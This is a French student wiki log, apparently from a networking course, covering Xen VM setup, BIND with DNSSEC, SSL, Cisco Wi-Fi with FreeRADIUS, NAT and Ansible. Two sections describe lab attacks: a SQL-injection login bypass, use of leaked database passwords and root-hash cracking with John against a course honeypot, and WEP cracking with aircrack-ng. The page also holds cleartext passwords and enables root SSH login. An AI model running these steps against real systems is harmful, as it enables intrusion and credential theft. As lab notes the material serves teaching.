&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
